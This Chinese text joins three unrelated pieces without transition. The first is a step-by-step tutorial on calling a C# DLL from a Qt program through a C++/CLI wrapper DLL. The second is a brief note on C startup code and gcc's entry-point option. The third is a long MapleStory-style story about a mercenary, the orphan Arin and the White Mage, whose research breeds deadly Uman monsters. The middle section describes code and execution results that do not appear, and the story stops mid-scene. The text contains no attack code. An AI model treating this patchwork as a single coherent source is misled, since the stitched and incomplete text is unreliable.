1、打开Visual Studio,新建一个C#的Class Library项目(这里选择的是.Net Framework 4),项目名为CSharpDll。

2、由于默认没有引入Forms等UI库,先在reference中添加引用System.Windows.Forms以便可以在测试中使用MessageBox等。

3、最终C#编写的dll的源代码如下图所示,命名空间为CSharpDll,公共类为CSharpClass。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace CSharpDll
{
    public class CSharpClass
    {
        public CSharpClass() { }
        public int add(int a , int b)
        {
            return a + b;
        }

        public void substract( int a , int b , ref int c)
        {
            c = a - b;
        }

        public static void showBox(string str)
        {
            MessageBox.Show("C#:" + str);
        }
    }
}

里面包含一个加法add,一个减法substract(为了测试指针,所以在减法的返回类型是void,而把计算结果通过ref参数c给返回),一个showBox方法(里面采用C#的MessageBox对话框显示用户输入的参数字串)

4、对project进行release build,在release目录下生成了CSharpDll.dll(待会用到)。

5、关闭CSharpDll项目,另外新建一个C++ CLR类型的Class Library项目(选择与C#项目相同的.Net Framework 4),项目名称为CppDll。

一开始我用的VS2019,发现VS2019好像无法新建 C++ CLR类型的Class Library项目了,所以学习微软的技术一定要小心,学习主流的支持很久的技术,尽量不要学习新出的技术,如果必须学新技术,一定要认真考量,一些边缘化的技术一定不要学习,没准哪天微软就不维护了。

6、选择Project->CppDll Properties…,在弹出的属性页面选择“Add New Reference..”,点击“browsing.”后选择CSharpDll项目中release目录下的CSharpDll.dll。

7、选择CSharpDll.dll后,可以看到在项目属性的References中出现了CSharpDll这个Library。

8、在CppDll项目中的CppDll.h中利用_declspec(dllexport)导出对应的3个接口函数add,substract,showBox。需要using namespace System::Reflection,对于这里的showBox,其参数不能采用CSharpDll里面的showBox参数的String类型,而是使用const char* 类型。

主要代码如下所示:

// CppDll.h

#pragma once

using namespace System;
using namespace System::Reflection;

__declspec(dllexport) int add(int a, int b)
{
	CSharpDll::CSharpClass obj;
	return obj.add(a, b);
}

__declspec(dllexport) void substract(int a, int b, int *c)
{
	CSharpDll::CSharpClass obj;
	obj.substract(a, b, *c);
}

__declspec(dllexport) void showBox(const char* content)
{
	CSharpDll::CSharpClass obj;
	String^ str = gcnew String(content);
	obj.showBox(str);
}

namespace CppDll {

	public ref class Class1
	{
		// TODO:  在此处添加此类的方法。
	};
}

9、选择release方式build CppDll项目,在release文件夹中生成了CppDll.dll文件,可以看到同时其也将引用的CSharpDll.dll也给拷贝到release文件夹中了。

10、接下来在Qt中进行调用, 在QtCreator中新建一个TestCSharpDll GUI项目,编译器选的mingw。通过VS自带的命令行工具中的dumpbin工具可以查看CppDll.dll导出的函数接口。

dumpbin -exports (+dll路径)

在TestCSharpDll工程中通过typedef定义函数指针,同时采用QLibrary动态加载并resolve函数。

在这里.dll的路径设为当前目录下“./CppDllMingW.dll”,也就是编译好的程序exe同一目录下的dll,去resolve由普通导出方式的接口即“?add@@YAHHH@Z”。

主要代码如下所示:

#include "mainwindow.h"
#include "ui_mainwindow.h"
#include<QLibrary>
#include<QMessageBox>
typedef int (*x_add)(int a , int b);
typedef void (*x_substract)(int a , int b , int* c);
typedef void (*x_showBox)(const char* content);

MainWindow::MainWindow(QWidget *parent) :
    QMainWindow(parent),
    ui(new Ui::MainWindow)
{
    ui->setupUi(this);
}

MainWindow::~MainWindow()
{
    delete ui;
}

//add
void MainWindow::on_pushButton_clicked()
{
    int a = ui->lineEdit->text().toInt();
    int b = ui->lineEdit_2->text().toInt();
    QLibrary library("./CppDll.dll");
    if(library.load()){
        x_add add = (x_add)library.resolve("?add@@YAHHH@Z");
        if(add){
            QString str = QString::number(add(a , b));
            QMessageBox::information(this , "call add from dll" , str);
        }
    }
}

//sub
void MainWindow::on_pushButton_2_clicked()
{
    int a = ui->lineEdit_3->text().toInt();
    int b = ui->lineEdit_4->text().toInt();
    int c = 0;
    QLibrary library("./CppDll.dll");
    if(library.load()){
        x_substract sub = (x_substract)library.resolve("?substract@@YAXHHPAH@Z");
        if(sub){
            sub(a , b , &c);
            QString str = QString::number(c);
            QMessageBox::information(this , "call sub from dll" , str);
        }
    }
}

//showBox
void MainWindow::on_pushButton_3_clicked()
{
    QLibrary library("./CppDll.dll");
    if(library.load()){
        x_showBox showBox = (x_showBox)library.resolve("?showBox@@YAXPBD@Z");
        if(showBox){
            showBox("showBox!");
        }
    }
}

编译TestCSharpDll工程,将CppDll.dll和CSharpDll.dll复制到同一目录下,执行TestCSharpDll.exe,可看出点击按钮后,通过QLibrary进行动态resolve,均正常调用。

调用add函数
调用sub函数
调用showBox函数

最好是将相关dll置于同一目录下运行,不然会出现“未能加载文件或程序集”的异常。针对.lib链接方式,理应是置于同一目录下。而针对QLibrary进行resolve方式,可能通常一开始的想法是,CppDll.dll和CSharpDll.dll放在与程序不同目录的地方,程序中利用了QLibrary指定了CppDll.dll的方式进行加载,而CppDll.dll和CSharpDll.dll,因此程序调用CppDll.dll里面的函数时,CppDll.dll会找到与CppDll.dll同一目录下的CSharpDll.dll,然而CppDll.dll在被程序进行加载时,其继承了程序的环境变量,因此会从程序的当前目录下去查找,所以最好还是将CppDll.dll和CSharpDll.dll放置于程序同一目录下,同时QLibrary加载当前目录下的CppDll.dll。当然,部署到另外一台机器上时,目标机器还是需要安装.Net Framework,其版本至少不能低于当前CSharpDll.dll所使用的版本。

C++的进入点是main()吗?

什么代码比main()更早被执行?

在linux下我们可以写一个startup code,通常情况下main()是通过startup code调用的,所以startup code会比main()更早执行,它是C++真正的进入点(entry point)。

下面我们来写一段startup code:

首先创建一个entrypoint.c文件(.cpp也可以),写入我们的startup code。

在这个startup中我们有两个函数,一个blabla()函数,一个main()函数,接下来我们将blabla()函数设置为entry pont(C/C++程序进入点),使用gcc的-e指令进行编译,就可以以告诉链接器使用blabla作为程序进入点,执行结果如下:

我们可以看到,main()函数并没有被startup code调用,所以并没有被执行。

而startup code实际上为一个函数,所以startup code一定是C/C++程序中最早被执行的函数。

而在Windows下的C++程序又分为命令行(console),窗体程序(Win32),以及动态链接库(WinDll),他们的主函数名称各不相同,startup code会争对不同的C++程序调用不同的主函数。

在VC6.0下,默认的Startup code由4个文件组成,分别为crt0.c,wcrt0.c,wincrt0.c,wwincrt0.c,而wcrt0.c,wincrt0.c,wwincrt0.c这三个文件全部include了crt0.c,所以startup code的核心全部在crt0.c中。

我是流浪佣兵。

哪怕随时随地死去,也很正常的人生。

夕阳西下,风吹过衣角的某一天,我的尸体也将如落叶一般,在某个地方飘荡。

也许,那天就是今天。

“全部杀光了?相信你跟随你的那些人全部……?”

“……就这样吗?你所说的理想全部都是假话吗?”

故事要从何说起呢……?

……好吧,就从我第一次听到白魔法师的名字开始说起吧。

我一直都是一个人。

还没懂事前,我就学会了拿武器,为了不饿肚子,哪怕是几分钱,我都必须用命去搏。

我运气好,活得久了点,但很多朋友并没有我这么好运。

当握武器的手上长满厚茧的时候,我终于开始对周围人的死亡无动于衷。

战争和饥饿,掠夺和灾害……世界正在一点点崩塌。

然后那些富人们依然在不断地累积着财富。其中阿里安特的大富豪哈萨尔就是一个。

“呵呵……我说,你不会是哈萨尔派来的手下吧?让你把我安全带回阿里安特。”

“…什么?不是手下,是佣兵?”

“不管是手下还是佣兵,都没差别!总之太好了。你有水吗?我一个人负责这么多行李,完全忘了这回事。”

“我们遭到了怪物的袭击!商团里就只有我活下来了。我静静地装死,然后刚才慌忙打包了一些贵重物品逃出来。”

当时我正在佣兵事务所工作,独自一人接了一单在阿里安特押镖的活,这次要保护的人是巨商哈萨尔的手下。

“怪物的袭击?”我问道。

“是的。是我从未见过的怪物,散发着超级难闻的气味。好像馊掉的味道……直到现在,我想起来还是觉得毛骨悚然。可是,你怎么就一个人?你的同伴们在哪里呢?”

“我独自行动的。太阳落山前赶紧出发吧。”我催促他赶紧动身,我不想浪费太多的时间。

“你说什么,就凭你一个人来保护我?这怎么可能……你不会是说真的吧?”

我没有理会他,准备动身启程。

“不,不会吧…稍等一下!一起走,一起走嘛!”

“你一个人真的能够保护我吗?到处都是危险的怪物啊。”

“出发吧。”

“等等……一起走!”

穿过这条路并不是特别轻松,怪物繁杂多变,是一些从来没有见过的。

我护送哈萨尔的手下一路到了阿里安特的宫殿附近。

“哎哟,真没想到你把那么多的怪物都消灭光了……你,长得挺俊俏的,没想到实力超出我想象啊?真是的,真是个木讷的人啊。不管怎样,我喜欢!虽然不能说是报答,但是,我告诉你一个有价值的消息吧。”哈萨尔的手下凑到我耳边偷偷说。

“哈萨尔最近好像很头疼。不知道从哪儿来的怪物们出现在运输途中,这已经不是一天两天的事情了。”

我也觉得很奇怪,“的确是奇怪的怪物……就好像是死去的家伙又活过来一样。”

“其实这个世界上能够解决这一问题的只有一个人。但是,那个人现在下落不明,所以哈萨尔想要找到他。”

我的好奇心驱使我问了一句:“他是谁?”

“我也不知道,具体的你去问哈萨尔吧。如果你能帮到哈萨尔的话,就能拿到很多钱哦。怎样,对佣兵你来说,是个不错的提案吧?”

我接受了他的委托,见到了巨商哈萨尔。

“原来你就是一个人护卫我的行李马车的佣兵啊。我怎么会一下子就知道了?你身上有味道啊。我对两种味道特别敏感。危险的味道,还有就是钱的味道……你身上有危险的味道。看来你当佣兵已经有不少日子了吧?”哈萨尔开始打量起我来。

“……你是大富豪哈萨尔?你想我从这里得到什么?”我直接开始询问他。

不想说废话浪费时间,直接问。

你想我从这里得到什么?

意外地,哈萨尔好像很满意我无礼的态度,笑了几声,就开始说重点了。

“你帮我找个人。这次的委托不是给佣兵事务所的,而是我交给你个人的。”

我瞪大了眼睛,“找人?”

“你听说过白魔法师吗?”

白魔法师?第一次听说,听听故事吧。

他是一个被称为天才的魔法师。

据说,他年纪轻轻就拥有非凡的魔法造诣,没人能够做他的老师。

努力达到阶梯的尽头时,却发现什么都没有,这种伤心和空虚不可谓不大。

继续听。

想到达更高的地方。

这个世界上已知的魔法,与他的野心相比,实在是微不足道。

几十年间,他带着一根法杖,孤身游荡世界。疯狂地写书,帮助他人,留下了无数的故事。

——白魔法师

拥有纯白头发的他,不知道从何时起,人们开始如此称呼他。

就这样,有一天。

他好像突然领悟了一样,说道。

终极光明只有在终极黑暗中才能找到。

留下这句话后,白魔法师从此失去了踪迹。

他现在在做什么呢?

在喜欢故事的好事者们无尽的猜测中,人们逐渐忘却了他的存在。

“白魔法师曾是冒险岛世界上最优秀的光之魔法师。如果是他,一定能帮我击退妨碍我生意的黑暗怪物们。”

“你觉得那个白魔法师会为你做事吗?“

“哪怕是要花费很多钱,我也要雇佣他。没有人能够顶住金钱的诱惑。如果这次事情成功的话,我会给你足够你挥霍一辈子的钱。怎么样,感兴趣吗?“

“……我只拿该拿的钱。如果找到他,我会和你联系。“

钱不是问题。

关键是我确实产生了兴趣。我开始对叫做白魔法师的人产生了好奇。

他是否也像我一样,感受到了人生的疲惫和空虚?他是否找到了答案呢?

三个月后,艾琳森林。

根据情报,最后一次看到白魔法师是在这里的艾琳森林……在这里一定能找到线索。我去妖精女皇巢穴见了妖精女皇艾菲尼娅,她应该知道一些什么。

“贪婪的人类……真是太可恶了。什么事?我什么都不会告诉无礼的人类。快点给我消失。“我能感受到她见到我的时候的满脸厌恶。

“我想知道关于黑暗怪物的事情。“我不想和她多说什么,直接表明了我来这儿的目的。

“黑暗怪物?那和我们有什么关系!对我们来说,人类比黑暗怪物可怕多了。他们绑架我们族人,偷走我们的宝物!就是为了要钱。“

我并不关心其他人类的所作所为,“那你告诉我一些关于白魔法师的事情吧。“

听到白魔法师的名字,艾菲尼娅的表情变得温和了些。

“白魔法师……?为什么要找白魔法师?他可是我见过的唯一的好人。我喜欢看他专心研究魔法的侧脸……他是理想主义。他的热情超过这世上所有的人。他一定会创造出比现在更好的世界。但是我不会随便告诉别人他的居所的。因为我根本没办法确认你不是坏人。如果你真是善良的人的话,你现在就当场证明给我看。你能去干掉那些挖开妖精们的坟墓,抢走贵重的花的坏家伙吗?都说胳膊肘往里拐,你不会因为同是人类就袒护他们吧?“

没问题,毫不犹豫,也不夹杂着任何感情。为了取得她的信任,我帮她去干掉了那群可恶的盗墓贼。

“你,不是坏人啊。我对你另眼相看了。…这么说来,你的眼神和那家伙的眼神也不是太像。还有比盗墓者更恶毒的家伙们——四处抓捕妖精们的人类。他们只把妖精看作是神奇的商品。替我把那些家伙赶出艾琳森林吧!“

我瞪大了眼睛,“商品?“

“这是人类的本性啊。虽然现在还不敢动到我头上来…但是已经有很多妖精被绑架或者杀害了。那些家伙的最终目标应该是我,抓到我能卖多少钱啊?呵呵呵……这些家伙们真是丑恶至极,没有比它们更可恶的了。“

没问题,在当佣兵的这些日子里,我杀了不少的偷猎者,这对我来说并不是问题。我准备去艾琳森林侵略地去会一会那些邪恶的偷猎者,但在路上我看到了一个拿着枪的小孩。

我朝他大喊:“喂,小孩。“

他好像被我吓了一跳,“喂!干,干什么呀。吓到人了。“

小孩子家家的,居然拿着枪,难道这家伙是偷猎者?

“干嘛盯着我看啊……不想受伤的话,就走你的路吧。我有事情在这里处理。“

我劝诫他:“小小年纪,不要杀生。这可是我的经验之谈,快回家去吧。“

“……家?“

听到小孩失魂落魄的声音的瞬间,我本能地明白了。

……这家伙无家可归。

没什么好说的,这就是生活。

“总之不要把枪口对准无辜的精灵。我就当做没看见你,你快离开艾琳森林吧。“

“你说什么啊?我要抓的不是精灵!我想抓的是……“

我懒得理他,继续去寻找偷猎者,最好不要让我发现他是偷猎者。

我在艾琳森林侵略地教训了一下那些可恶的偷猎者,他们逃出了艾琳森林。

“呵呵……暂时能找到些活着的滋味了。和平真是毫无意义,只有依附于绝对力量的统治,才能救济这种情况。你说过想知道白魔法师的行踪对吧?还记得,他隐居前说的最后的话吗?终极光明只能在终极黑暗中被发现……所以,他去了世界上最黑暗的地方之一——静谧之林。静谧之林是几乎没有白天的黑夜之森林。因此,与其他任何地方相比,那里的光明更为纯粹。听说他在那里秘密研究魔法,这样的情报,应该够了吧?如果你见到他的话,请转达我的问候……另外,告诉他,不要忘了我们的约定,等他完成光之研究后,一定要来到这里,和我一起实现理想。我会一直等他。必须啊,一定要帮我转达。我给你情报,就是为了让你帮我带话给他。“

去艾琳森林的路上,我的好奇进一步扩大。

妖精女皇好像已经完全被白魔法师迷住了。

能够让一族的女王沉迷成这样,他究竟是怎么样的人物?

妖精女皇说,白魔法师将会创造更美好的世界。

……那是真的吗?

现在还不知道。答案在静谧之林。

我在前往静谧之林的路上又看到了那个小孩。

我朝他大声呼喊:“我说,小孩,你怎么还不回去……“

这一次,他没有回答我。

我跑到他跟前,发现他旁边有一只散发着邪恶力量的黑色怪物,那怪物究竟?来不及想那么多了。

“快跑,孩子!“我喊了出来。

小孩一动不动,好像是被吓到了,必须帮帮他才行……!我像农场主杀鸡一样将黑色怪物给打败了。然而,小孩却像丢了魂一样倒在地上。

“喂,你没事吧。“我扶住了他。

“……我没能扣动扳机。妈妈,爸爸……必须……报仇……我怕,怕得没法扣动扳机。“

小孩的名字叫亚林。

那家伙说,刚才看到的怪物就是杀死他家人的怪物。

我干掉的怪物,名字叫做乌曼。

据说,在乌曼出现的地区,没多久就开始陆续出现不死怪物。

也就是说,乌曼才是所有事情的元凶。

“白魔法师……他知道如何解决吗?“小孩问道。

“我不知道。总之只能先找找看。“我摇摇头,叹了口气。

“你不知道的还真多,大人们不是所有事情都知道吗?“

“……你,是佣兵吧?请你教教我打架吧。我要变得和你一样强大。“

“快睡你的觉吧。“

当我正准备离开这儿前往静谧之林的时候,小男孩发话了:“你丢下我这是要去哪里?一起走,佣兵。“

“危险。别跟着我。“

“哼,从我下决心要报仇那刻起,我就知道这是件危险的事情。而且你不觉得,把我一个人放在这里,更加危险吗?大人们真是笨。“

我不理他,继续往前走。

“你在做什么,佣兵!要想彻底消灭乌曼的话,不是要找到那个叫做白魔法师的人吗?我也要亲自见见那个人。“

没办法,我只好带上他一同前行。

找到白魔法师的话,真的能解决这儿所有的事情吗?

这一切都不确定。

答案就在静谧之林。

三个月后,我们找到了静谧之林。

这里是静谧之林……几乎从来没有太阳的森林。也许这里适合研究魔法,但我肯定的是,这里找路可是最不方便的。

“……迷路了啊,佣兵。“小男孩开始不耐烦了起来。

“我也知道,别发牢骚,安静点。“

“你要干什么?在这里迷路的话可怎么办。就这样,能找到白魔法师吗?“

“在这等会儿,我去找路。“

“让我自己等着?……你不会是要丢下我跑掉吧?你敢逃走试试,我一定会追上你,用枪打穿你的身体……我在这里休息。“

我没理会他,径直去了森林的东边找路。

“完了……好像彻底迷路了。这么下去怎么能找到白魔法师呢?……不行。在走得更远之前,还是先回去吧。“我自言自语。

这时候森林中传来了几声枪声,总觉得不安,我快马加鞭地赶往小孩所在的地方,路上却出现了许多长着猪鼻子的蝙蝠阻拦我的去路,我一路杀了过去。

失误了,怎么会把孩子独自留在那里呢……当我回到孩子所在的地方时,我看见了4只乌曼围在亚林的四周。

“!!孩子,小心!“

“乌曼居然这么多……这次真的报仇……!“

那个傻孩子!距离太远了,以我的速度,还是迟了……!

“给我去死!“突如其来的光之魔法将乌曼全部消灭了。

“傻小子,这是做好了死的打算了吗!?“我问道。

“……刚才发生了什么事?有道光……“

“没事吧?已经很久没在这里看到外人了。”黑暗中走出一位白发的翩翩少年。

白色长发。

智慧的眼神,令人信赖的声音,我一眼就看出来了。

他就是我们一直在找的白魔法师。

我将这段时间发生的事情告诉了白魔法师。

他好像听到了什么了不起的大事一样,不时慎重地点点头。不过这好像是长久以后形成的习惯。

“原来如此……艾琳森林里居然有偷猎者和盗墓贼。贪婪的人类居然把手伸到了这里。“白魔法师惊叹不已。

“妖精女皇已经对人类失去了信心。但是好像唯独非常喜欢你。“我轻声说。

“我和妖精女皇有过一个约定,直到现在,我仍然在为遵守这个约定而努力。“

“佣兵!魔法师!请稍等,我们一起走?“小孩儿赶了上来。

“对了,那孩子?“白魔法师突然问道。

“……他的家人被乌曼夺去了生命。“

“看来刚才看到的黑暗怪物的名字叫做‘乌曼’吧。在这里,没有办法及时知道外面的消息。“白魔法师若有所思。

“其实我最想问你的问题是这样的。听说你是天才魔法师?你到底一个人在这森林里做什么?“

“我在研究光。“

“我想听的答案不是这个。我……“

想再说点什么,但又闭上了嘴。

虽然他并没有什么错,但不知道为什么,我很生他的气。

我不过是一介佣兵,可你不是啊?

你拥有能够拯救世界的力量。

不,最起码能让世界变得好一些。

可你却悠哉悠哉地躲在这里,一个人做什么研究?

那样的话在嘴里转了又转。

但是白魔法师,他好像看透了我的心,露出微微的笑容。

“虽然我有很多话想要说,但是首先来纠正一件事。我并不是‘一个人’“。我还没开口,白魔法师先说话了。

“等等!一个家伙这样,两个家伙也这样,为什么走这么快?!“亚林在后面追赶着我们。”呃,呃。腿疼……还要走多远啊?“

“快到了。那里就是我们的家,欧罗拉大神殿。“白魔法师将我们带去了他宏伟壮观的神殿。

“大师,这些人是……?“一位年长的大叔向白魔法师询问起我们来。

“马尔斯,这些都是远道而来的客人。给他们准备住所吧。“

“啊?但是大师……他们不是外来的人吗。“

“不是添麻烦的人。暂时先让他们住下吧。“

马尔斯来给我们做自我介绍了。“我的名字叫马尔斯,是研究光魔法的研究团队欧罗拉的首席魔法师。虽然不知道你是怎么找到这里来的……拜托你,希望你不要妨碍这里的研究。尤其是右边的大师的研究室,没有特别的事情的话,那里是禁止出入的。我们为客人准备好了休息的房间,在左边。和你一起来的孩子好像很疲惫的样子,去休息一下吧。“

他领着我和小孩去到了左边休息的房间,让我们好好休息。

“哎哟,真是好不容易有得休息了。看上去什么都没有的森林里还有这么像回事儿的建筑,很不错嘛?“

我警告他:“你刚才差点儿没命了。以后千万别草率行事。“

“我也知道。可是,只要能杀死一只乌曼,就算我明天死了,我也没有什么好遗憾的。“

“明知道对方的实力远远超过自己,还以命相拼,那是愚蠢之人才会干的事儿。“

“哼,说教……就凭你一个佣兵。你又不教我打架,少跟我说这样那样的。可是,这森林里怎么有这么多乌曼啊?是因为太黑了的缘故吗?“

我也不知道为何在这个森林里有如此多的乌曼,但我心里隐隐有一种不详的预感。

“啊,对了,佣兵!我有东西给你。你到我这来一下。”

“这是我收集的乌曼的残骸。虽然不太确定,但是魔法师们也会用这个做实验的吧?说不定这对研究乌曼的真实身份有所帮助呢。帮我转交给白魔法师,如果是那个人的话,就能让这世上所有的乌曼都消失了吧?对吧?”

“没问题。”我接过他递过来的乌曼的残骸,想不到一个小孩子竟然能这么心细。

我跑去了白魔法师的研究室,轻轻地敲了敲门,并没有得到回应。看来白魔法师并不在这里,看来是出去了。

“什么?你在找大师?”首席魔法师马尔斯发现了正在敲门的我。“我帮不了你。如果没有什么重要的事,不要接近大师的房间!!呃,嗯……以后注意吧,大师在神殿的屋顶。”

这魔法师还挺敏感的。屋顶……要不要上去看看呢?

我在屋顶找到了白魔法师并将乌曼的残骸递给了他。

“乌曼的残骸……那种情况下,这孩子还能想到收集这些,真是个聪明的孩子。请转告他,我会好好用来做实验的。”白魔法师用手帕将残骸小心翼翼的包裹了起来。

“无法知道乌曼是如何出现的。但是请不要担心,终极光明研究结束时,乌曼一定会不见的。”

“那个所谓的研究主要是在屋顶上进行的吧?”我很好奇。

“不是的。这里只是我最喜欢的地方罢了。”

如此说着,他的眼神望向远处的某个地方。

我一下子又好奇起来。

抛弃原本的荣华富贵,他到底要追求些什么?

“你相信神明吗?如果你不相信神明的话,你相信什么?有些人相信金钱,有些人相信权力。但是在所有东西都变成浮云的死亡瞬间,你相信什么呢?”

“我在这里研究的东西……它并不是简单的‘力量’。而是存在于安息地平线那边的无限的知识。能够使我们变得更完美,能够在我们所居住的这个世界,再现神的城市的本源的智慧。”

“那才是我所追求的东西。”

我试着想象了下他所说的本源的智慧。

而且我还想象了一下他所说的神的城市。

如果人类能达到那种境界的话……应该也能够创造出没有伤心,没有苦痛的世界吧。

“……我想要翻过那道墙。”

“我既不是贤者,也不是哲学家。”

“只不过,是好奇光的那头会是什么罢了。”

大致和白魔法师进行了简短的对话。但是和他对话后,有一种进行了长途旅行的感觉。自那以后,我在欧罗拉大神殿待了一段时间,帮助白魔法师进行研究工作。

就那样,不知不觉,就过了三个月。

从未想过以后会发生什么事……

直到有一天,那个叫亚林的小孩子跑过来找我。

“嗯,佣兵。听说你最近在帮助做研究?又是一个白魔法师的崇拜者。刚才一个叫飞鱼丸的人在找你呢?我不相信那个叫白魔法师的人。总是说些人听不懂的话……最近天天关在研究室里基本都不出来了。我也不知道为什么就是不喜欢他。”

我没有理会他,跑去大厅见到了飞鱼丸。

飞鱼丸看到了我,和我问好。“啊,你好啊。今天也来帮助大师做研究吗?现在你应该能记住我的名字了吧?我的名字叫飞鱼丸,欧罗拉的低级魔法师。虽然现在还是低级,但是将来的事谁都说不准,不是吗?哈哈哈。这里总是缺人手。做魔法研究,主要需要的是和光有关的物质,你今天能去狩猎些发光蝙蝠,收集些研究材料来吗?”

“没问题!”我答应了他。

于是我出去寻找发光蝙蝠并按照他的要求狩猎了一些发光蝙蝠并收集好了残骸——黯淡的发光物质回来交给他。

“谢谢。你帮了我们研究员很大的忙。我真希望我能拥有大师的一半的一半的一半的知识。如果可以的话,你能接受马尔斯的委托吗?虽然我知道二位的关系不是太好。哈哈哈。”飞鱼丸挠了挠头笑着说。

“这么说来,最近好像都没看见白魔法师呢。”我问道。

“是的,一个月前开始就日夜不停地做研究。最近白魔法师的研究室除了首席魔法师马尔斯谁都不让进了。那么,你去找找马尔斯吧……试着让彼此变得更亲近些吧。说不定你们两位会成为莫逆之交呢,人生是无法预知的喜剧,不是吗?哈哈哈。”飞鱼丸笑着说。

“没问题。”

我跑过去和马尔斯打了个招呼。

“有什么事吗?今天也来帮助我们研究吗?我完全不知道你心里打着什么算盘。待在这里究竟对你有什么好处呢?”

“……当然啦,虽然从我们的立场来说,没什么不好的。”他补充道。

“在神殿后面的森林,会有些奇妙的石头。敲开那些石头就会发现一些不知何物的光块。你能帮我从那些光块里弄些格拉希姆来吗?对于大师来说,财富和名誉都不重要,他是超脱于浑浊的俗世之人。”

“没问题。”

就这样,我按照他的要求收集了很多格拉希姆交给他,当我回来的时候,他郑重其事的和我说:“其实,你不在的时候,那个叫亚林的小孩来找过我。可是,我有点不放心……那小孩子特别憎恨乌曼,一天来找我好几次,问我何时能让乌曼消失,实在有些心烦,于是我就直截了当地告诉了他……但是这事一直让我有些放不下。对小孩子说话太重了,心里有些后悔。你能替我把这个给他吗?”

说罢马尔斯递给了我一颗星星模样的糖果。

“小孩子喜欢吃甜的,应该能让他心情大好吧?”

“没问题。”我收下了糖果,回到房间想将糖果交给亚林,哄他开心一下。

但是我却没有在房间里看到亚林,仔细以看,在枕头上发现了一张字条。看着上面写的歪歪斜斜的字应该是亚林留下的。

给佣兵

刚才听一个叫做马尔斯的大叔说。

他说像乌曼这样的家伙不是什么大问题。因为欧罗拉要追求更大的真理,所以没办法在乎那种小问题。

我不知道更大的真理究竟是什么东西,我的目标就是消灭乌曼。

直到现在,我一想起爸爸妈妈死去的那天,还无法入睡。

这才不是小问题。

即使只有一个人,我也要对附近展开调查。

从上个月开始,这片森林里出现了相当多的乌曼。

别太担心。

不过也许我就再也回不来了,所以先说一下。

这段时间谢谢你。

——亚林

这个傻孩子……!!

“那……那是什么?我从未见过那么大的乌曼。”

“……!!不会吧?出事了,必须要快点去告诉佣兵……”

亚林遇到了足足有一棵树那么高的乌曼,黑不溜秋,恐怖至极。

快去找孩子吧,现在应该还没有走远。

当我找到亚林的时候,我足足杀了15只乌曼。

“佣兵……快跑。危险。”亚林无力地倒在地上对我说。

“乌曼已经都被我消灭了,放心。”我试图让他冷静下来。

“不是说这个……是至今为止都没见过的……巨大的乌曼……佣兵,快离开‘那个地方’……”亚林失去了意识。

那个地方,什么意思……?

我没有思考那么多,先把他带回了神殿里,让他好好休息一下。亚林的状态不是很好,等他状态好转吧。

他昏迷了足足一整天都还没醒来。

“睡着了吗……究竟要救你几次才行啊,小家伙。”我埋怨道。

亚林呼吸还算正常,但严重发烧,现在只能等他好转了。也许……不,不要想得那么悲观,先看看情况吧。

就这样又过了一天。

“很难醒过来啊……现在几点了?再看看吧……一定会醒过来的。”我这样安慰自己。

时间变得很缓慢。

看来,小孩最后是想告诉我什么。

那是什么呢?

乌曼……还有一个月的时间……

……!!

瞬间,脑子一下子清醒了。

开始整理所有的信息。

这片森林里怎么会有如此多的乌曼?是因为太暗了吗?

从上个月开始,这片深林里的乌曼开始大量出现。

白魔法师从一个月前加快了研究的进度。

至今为止,从未见过的,巨大的乌曼……

佣兵……快点逃跑。

“……怎么会,白魔法师不会这么做的。”

“但是……”

白魔法师是几年前开始在欧罗拉展开魔法研究的。

乌曼也是在几年前开始出现的。

白魔法师锁住研究室的门,开始埋头研究是在一个月之前。

附近的乌曼数量增多也是从一月前开始。

怎么会直到现在才发现呢?

……突然想到白魔法师对我说的话。

“——我是希望能翻过那道墙的人。”

终极光明只有在终极黑暗中才能发现……这是什么意思呢,白魔法师?

全身的血液都冰冷冰冷的。…当然不能乱猜测,但是确实不对劲。

如果我的推测是事实的话,必须马上阻止白魔法师的研究。但是,在那之前我想和本人见面确定一下。白魔法师的研究室的门上了锁,这把锁只有首席魔法师马尔斯才能打开,于是我去大厅找到了马尔斯。

我告诉他我想见一见白魔法师。

“啊?你想见大师?那可不行。大师正在潜心做最后的研究呢。”

“对不起,绝不能妨碍大师的研究。如果现在打扰他的话,我们所付出的努力,可能都会化为乌有。你为什么一定要马上见他呢?”马尔斯讲我拦住了。

我将我大脑中的推测一五一十地告诉了他。

“……!!你说什么?刚才说什么?”看得出来,马尔斯很惊恐。

“白魔法师必须立刻停止研究。乌曼是白魔法师过度研究而形成的影子。只要他能够终止现在的研究,起码事态不会继续恶化。”我说出了我的想法。

“请不要继续猜测了,不会发生这样的事情!”飞鱼丸走了过来。

“如果我错了的话,请你反驳我看看,马尔斯。”

“……我知道事实。”马尔斯神态凝重地望着我。“据我所知,你提到的‘乌曼’……那是大师研究的副作用的产物。看到和你一起来的孩子转交的物质,一下就明白了啊。”

“怎么可能……首席魔法师,那是真的吗?”飞鱼丸睁大了眼睛。

我终于压抑不住内心的怒火了,大声地吼了出来:“白魔法师自己知道这一事实吗?……应该知道已经有人因为乌曼而失去了生命。即便如此,白魔法师还继续研究……?”

但马尔斯仿佛早就知道会有这么一天,他非常镇静地和我们坦白:“这是无可避免的牺牲。光变强的话,影子自然会加深。把现在这混沌的世界作为祭礼,为了能够创造出更加美好的世界……那就是大师的想法。所以才会加快研究进度的。”

“……对不起,我想要继续相信大师。”马尔斯闭上了眼睛。

“无可避免的牺牲……简直可笑。这样的话你能够对着那边屋子里躺着的孩子说吗?快把那扇门打开,否则我就要用武力打开了!”我大声呵斥道。

马尔斯不紧不慢地说:“那我只能拦住你了。”

果然是大师虔诚的追随者,虔诚是什么?虔诚就是无条件的相信自己的信仰。

“不,不要。请停止战斗,两位!”飞鱼丸站在了我和马尔斯的中间,拦住了我们。

就在这时,白魔法师的研究室中传来了奇怪的声音。“外面吵吵什么呢。”

听到门那头传来的声音,起了一身鸡皮疙瘩。

那是我所认识的白魔法师的声音吗?

“我成功了,也失败了。违背禁忌,坚持埋头进行光之研究,终于成功越过了那道墙。但是……没有终极光明。不是因为我没能找到,而是一开始就不存在。因为只要有光,就必然有黑暗。”白魔法师奇怪的声音继续从室内传出。

“……然而终极黑暗是存在的,这就是我的结论。”

仿佛时间凝固了一般,大家都愣住了。

还是马尔斯先缓过神来。“……!?!大师,那是什么?”。

我:“立刻把门打开,马尔斯!”

马尔斯赶紧掏出钥匙打开了那扇门,我们一同冲进了那扇门。

……!!

仿佛扎根在地板上一样,无法动弹。

本能地明白了那里的所有状况。

‘那个’可以说不再是人类。

“……哈哈,大师?!这是什么……?如果你是和我们开玩笑的话,就此打住吧。一点都不好玩。”看来飞鱼丸至今为止都认为这只是白魔法师的一个玩笑。

